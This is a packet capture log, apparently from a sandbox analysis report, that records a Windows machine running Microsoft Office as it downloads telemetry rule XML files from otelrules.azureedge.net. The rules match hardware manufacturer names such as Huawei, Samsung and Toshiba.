2024-11-21 21:10:14 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:14 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 367ebca4-601e-0070-6762-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211014Z-178bfbc474bq2pr7hC1NYCkfgg000000026g000000009svg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:14 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:14 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:14 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:14 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 70a27cfc-201e-0051-268c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211014Z-178bfbc474bgvl54hC1NYCsfuw00000001vg000000014qps x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:14 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:14 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:15 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:14 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: a72cf994-301e-0099-6e45-3c6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211014Z-r1d97b99577n4dznhC1TEBc1qw0000000axg00000000gbbv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:15 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:16 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:17 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:16 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: ed298b8a-a01e-0002-322d-3c5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211016Z-178bfbc474bpscmfhC1NYCfc2c00000000pg000000005975 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:10:17 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:16 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:17 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:16 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 7f65af6f-801e-0067-5f8c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211016Z-1777c6cb7549j9hhhC1TEBzmcc0000000bhg00000000guea x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:17 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:16 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:17 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:16 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: a24720e5-f01e-0096-3f65-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211016Z-178bfbc474bbcwv4hC1NYCypys00000001tg00000000uge9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:10:17 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:16 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:17 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:17 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 15a67567-d01e-0066-07eb-3bea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211017Z-15b8b599d88phfhnhC1TEBr51n00000000fg00000000dzrz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:17 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:16 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:17 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:17 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: ea8695b1-901e-002a-7283-3b7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211017Z-174c587ffdf89smkhC1TEB697s00000000m0000000007t4u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:10:17 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:18 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:19 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: df8835e2-601e-0002-5b4e-3ca786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211019Z-15b8b599d88phfhnhC1TEBr51n00000000p0000000007ky6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:19 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:18 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:19 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 3ac3f4da-f01e-001f-4c47-3c5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211019Z-178bfbc474bh5zbqhC1NYCkdug00000001v0000000010hc0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:19 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:18 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:19 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:19 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 16d74281-d01e-0066-164b-3cea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211019Z-15b8b599d885v8r9hC1TEB104g00000000n0000000002bww x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:10:19 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:19 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:19 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:19 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 20caaba8-701e-005c-0363-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211019Z-178bfbc474btrnf9hC1NYCb80g000000027g000000006bk9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:10:19 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U 